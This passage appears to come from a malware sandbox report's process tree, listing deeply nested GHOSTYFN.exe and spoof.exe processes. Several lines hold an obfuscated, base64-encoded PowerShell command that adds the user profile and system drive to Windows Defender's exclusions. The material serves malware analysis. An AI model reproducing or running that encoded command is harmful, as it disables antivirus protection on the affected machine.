        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        208⤵
        
        PID:6220
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        208⤵
        
        PID:8160
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        209⤵
        
        PID:6064
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        209⤵
        
        PID:1248
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        210⤵
        
        PID:7720
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        210⤵
        
        PID:5640
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        211⤵
        
        PID:1596
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        211⤵
        
        PID:6672
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        212⤵
        
        PID:5168
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        212⤵
        
        PID:3872
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        213⤵
        
        PID:5652
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        213⤵
        
        PID:2400
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        214⤵
        
        PID:5992
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        214⤵
        
        PID:7652
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        215⤵
        
        PID:7380
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        215⤵
        
        PID:5528
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        216⤵
        
        PID:5512
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        216⤵
        
        PID:4148
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        217⤵
        
        PID:8040
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        217⤵
        
        PID:7760
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        218⤵
        
        PID:5676
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        218⤵
        
        PID:7876
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        219⤵
        
        PID:8048
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        219⤵
        
        PID:6684
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        219⤵
        
        PID:3560
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        218⤵
        
        PID:4484
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        217⤵
        
        PID:4856
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        216⤵
        
        PID:64
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        215⤵
        
        PID:5556
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        214⤵
        
        PID:3768
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        213⤵
        
        PID:6216
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        212⤵
        
        PID:7300
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        211⤵
        
        PID:7648
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        210⤵
        
        PID:5980
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        209⤵
        
        PID:1244
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        208⤵
        
        PID:1572
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        207⤵
        
        PID:7284
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        206⤵
        
        PID:440
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        205⤵
        
        PID:4952
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        204⤵
        
        PID:5524
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        203⤵
        
        PID:1416
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        202⤵
        
        PID:2172
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        201⤵
        
        PID:6616
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        200⤵
        
        PID:7160
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        199⤵
        
        PID:6644
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        198⤵
        
        PID:2256
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        197⤵
        
        PID:2096
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        196⤵
        
        PID:7128
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        195⤵
        
        PID:6088
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        194⤵
        
        PID:6704
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        193⤵
        
        PID:7808
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        192⤵
        
        PID:64
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        191⤵
        
        PID:7180
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        190⤵
        
        PID:4840
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        189⤵
        
        PID:6852
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        188⤵
        
        PID:5192
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        187⤵
        
        PID:3028
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        186⤵
        
        PID:2224
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        185⤵
        
        PID:6916
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        184⤵
        
        PID:7648
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        183⤵
        
        PID:7480
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        182⤵
        
        PID:7224
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        181⤵
        
        PID:8136
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        180⤵
        
        PID:6116
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        179⤵
        
        PID:5260
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        178⤵
        
        PID:7688
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        177⤵
        
        PID:8020
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        176⤵
        
        PID:7576
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        175⤵
        
        PID:6908
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        174⤵
        
        PID:2348
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        173⤵
        
        PID:1760
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        172⤵
        
        PID:7944
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        171⤵
        
        PID:7368
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        170⤵
        
        PID:348
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        169⤵
        
        PID:6604
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        168⤵
        
        PID:3732
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        167⤵
        
        PID:5116
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        166⤵
        
        PID:6256
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        165⤵
        
        PID:5784
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        164⤵
        
        PID:3524
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        163⤵
        
        PID:6572
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        162⤵
        
        PID:4732
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        161⤵
        
        PID:6576
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        160⤵
        
        PID:4924
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        159⤵
        
        PID:4148
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        158⤵
        
        PID:7644
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        157⤵
        
        PID:7380
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        156⤵
        
        PID:5948
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        155⤵
        
        PID:5556
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        154⤵
        
        PID:1032
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        153⤵
        
        PID:6668
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        152⤵
        
        PID:7028
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        151⤵
        
        PID:2512
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        150⤵
        
        PID:5812
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        149⤵
        
        PID:3136
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        148⤵
        
        PID:5716
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        147⤵
        
        PID:4552
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        146⤵
        
        PID:6576
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        145⤵
        
        PID:6000
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        144⤵
        
        PID:6840
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        143⤵
        
        PID:7336
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        142⤵
        
        PID:7828
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        141⤵
        
        PID:7236
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        140⤵
        
        PID:7768
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        139⤵
        
        PID:6468
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        138⤵
        
        PID:7332
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        137⤵
        
        PID:7844
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        136⤵
        
        PID:5272
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        135⤵
        
        PID:2432
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        134⤵
        
        PID:3744
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        133⤵
        
        PID:1856
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        132⤵
        
        PID:7636
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        131⤵
        
        PID:3020
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        130⤵
        
        PID:7176
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        129⤵
        
        PID:6840
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        128⤵
        
        PID:6664
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        127⤵
        
        PID:4348
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        126⤵
        
        PID:7848
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        125⤵
        
        PID:6416
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        124⤵
        
        PID:6108
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        123⤵
        
        PID:6408
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        122⤵
        
        PID:1340
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        121⤵
        
        PID:1328
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        120⤵
        
        PID:4444
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        119⤵
        
        PID:8052
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        118⤵
        
        PID:6908
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        117⤵
        
        PID:6008
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        116⤵
        
        PID:6928
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        115⤵
        
        PID:2580
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        114⤵
        
        PID:6356
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        113⤵
        
        PID:8188
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        112⤵
        
        PID:5708
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        111⤵
        
        PID:7960
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        110⤵
        
        PID:7312
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        109⤵
        
        PID:3364
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        108⤵
        
        PID:5760
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        107⤵
        
        PID:1236
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        106⤵
        
        PID:3636
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        105⤵
        
        PID:3476
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        104⤵
        
        PID:4868
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        103⤵
        
        PID:6284
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        102⤵
        
        PID:5116
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        101⤵
        
        PID:7788
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        100⤵
        
        PID:3264
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
